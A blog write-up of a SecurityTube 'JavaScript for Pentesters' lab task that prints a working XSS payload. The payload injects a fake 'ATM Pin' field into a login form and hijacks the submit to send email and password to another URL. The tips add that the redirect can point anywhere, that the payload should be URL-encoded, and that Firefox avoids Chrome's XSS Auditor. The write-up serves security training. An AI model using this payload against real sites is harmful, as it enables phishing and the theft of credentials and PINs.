XSS - Modifying Form fields: JS for Pentesters task 4 write up

Oct 24, 2014 • jsp, javascript, security-tube, xss

Writeup for task-4 for javascript for pentesters series by security-tube

In the last article we saw how we can Hijack a form submit with XSS. But form hijacking could have been much more interesting if it has more interesting information’s like ATM pin. In this challenge what we do is to add a new column to the form  named “ATM pin” so that before submitting the form, user will enter more information like ATM Pin. That’s awesome isn’t it ? So the objective of this challenge is that:

JS for Pentesters Task 4

1) Add a new form field called “ATM PIN”

2) Post the credentials to the Attacker server along with the ATM pin.

As always, we have the XSS vulnerability in the page via the URL parameter. You can confirm it by simple alert box injection in FireFox. Now, our task is to add a new input element called ATM Pin. So first, let us see the source code:

From the source code, we can see that there are only 1 form element which contains 2 input boxes namely email and password. So first lets create an input with exactly the same attributes as an email or password input form (place holder and name should be modified). Then we have to add it just above the username field so that it shows up correctly and user should think that the newly added box is legitimate. So the overall payload we used is:

    newField = document.createElement("input");
    newField.setAttribute("type", "text");
    newField.setAttribute("value", "");
    newField.setAttribute("class", "input-block-level");
    newField.setAttribute("placeholder", "ATM Pin");
    newField.setAttribute("name", "ATM pin");    
    var prev = document.forms[0].elements[0];
    document.forms[0].insertBefore(newField, prev);
    function intercept() {
    var user = document.forms[0].elements[1].value;
    var pass = document.forms[0].elements[2].value;
    window.location.replace("http://pentesteracademylab.appspot.com/lab/webapp/1?email=" + user + "&password=" + pass);
    return false;
    document.forms[0].onsubmit = intercept;

Let us analyse how this works. First we create a new element called newField and added all the necessary attributes to it like ‘value’, ‘class name’ and even ‘place holder’ so that it looks real professional. Then we selected the first element of the input form. The reason why we are doing this is that , we need to add the newly created one above the username element which is basically the first element of the input form. So we select the username field and assigned it to a variable named prev. Now our task is to add the new element just before prev. To do that, we used a JavaScript function called insertBefore.

Then as we saw in the Hijack a form submit with XSS task, we are going to redirect this information to our server. What I did was to redirect the url to Pentester Academy WAP challenge 1 which is basically a Form brute force. As you can see in the write up about the form brute force, the user:pass combination for that challenge is [email protected]:zzzxy. If you enter the same credentials in this challenge after entering the payload, you can see a Window saying challenge completed.


1) You can easily modify the window.location.replace to your localhost where you run a simple HTTP server or you can redirect this to anywhere you want.

2) You have to URL encode the payload before the injection via the url parameter or else this will fail to work.

3) It is always recommended to try out the challenge in Mozilla FireFox and not in Google chrome because chrome has an inbuilt XSS Auditor which will stop the payload from executing.

4) The solutions written above is the way we cracked the problem which might be different from the solution videos provided by the SecurityTube. If you need the solution video, you have to subscribe to PentesterAcademy.

Anirudh Anand

Security Engineer @flipkart | Web Application Security ♥ | Google, Microsoft, Zendesk, Gitlab Hall of Fames | Blogger | CTF lover - @teambi0s | certs - eWDP, OSCP